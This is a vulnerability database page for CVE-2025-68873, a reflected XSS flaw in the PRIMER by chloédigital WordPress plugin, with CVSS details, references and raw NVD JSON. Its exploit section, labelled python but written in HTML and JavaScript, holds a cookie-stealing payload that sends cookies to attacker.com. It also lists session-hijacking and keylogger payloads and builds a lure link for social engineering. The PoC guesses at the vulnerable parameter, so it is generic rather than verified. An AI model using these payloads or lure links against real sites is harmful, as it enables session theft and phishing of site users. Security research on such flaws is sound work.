CVE-2025-68873

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in chloédigital PRIMER by chloédigital primer-by-chloedigital allows Reflected XSS.This issue affects PRIMER by chloédigital: from n/a through <= 1.0.25.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

PRIMER by chloédigital <= 1.0.25

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-68873 Reflected XSS PoC for PRIMER by chloédigital -->
<!-- This PoC demonstrates the reflected XSS vulnerability in PRIMER plugin <= 1.0.25 -->
<!-- Replace TARGET_URL with the vulnerable WordPress site URL -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-68873 PoC</title>
</head>
<body>
    <h2>CVE-2025-68873: Reflected XSS in PRIMER by chloédigital</h2>
    <p>Target: <span id="target"></span></p>
    
    <script>
        // Get target URL from user input
        const targetUrl = prompt("Enter the target WordPress URL:", "https://example.com");
        document.getElementById("target").textContent = targetUrl;
        
        // Malicious XSS payload - Cookie stealing
        const xssPayload = '<script>fetch("https://attacker.com/steal?c="+encodeURIComponent(document.cookie))</script>';
        
        // Alternative XSS payloads
        // Basic alert: <script>alert('XSS')</script>
        // Session hijacking: <script>document.location='https://attacker.com?cookie='+document.cookie</script>
        // Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/k?k='+e.key)}</script>
        
        // Generate malicious URL
        // Note: The exact vulnerable parameter needs to be identified through testing
        const maliciousUrl = targetUrl + '/?' + 'param=' + encodeURIComponent(xssPayload);
        
        console.log('Malicious URL:', maliciousUrl);
        
        // Create social engineering content
        const pocHtml = `
            <h3>Malicious Link (for social engineering):</h3>
            <a href="${maliciousUrl}" target="_blank">Click here for amazing offer!</a>
            <br><br>
            <button onclick="copyToClipboard('${maliciousUrl}')">Copy Malicious URL</button>
        `;
        
        document.write(pocHtml);
        
        function copyToClipboard(text) {
            navigator.clipboard.writeText(text).then(() => {
                alert('URL copied to clipboard!');
            });
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68873
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68873
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68873/
[4] VulDB https://vuldb.com/cve/CVE-2025-68873
[5] https://patchstack.com/database/Wordpress/Plugin/primer-by-chloedigital/vulnerability/wordpress-primer-by-chloedigital-plugin-1-0-25-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-68873", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:53.560", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in chloédigital PRIMER by chloédigital primer-by-chloedigital allows Reflected XSS.This issue affects PRIMER by chloédigital: from n/a through <= 1.0.25."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/primer-by-chloedigital/vulnerability/wordpress-primer-by-chloedigital-plugin-1-0-25-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}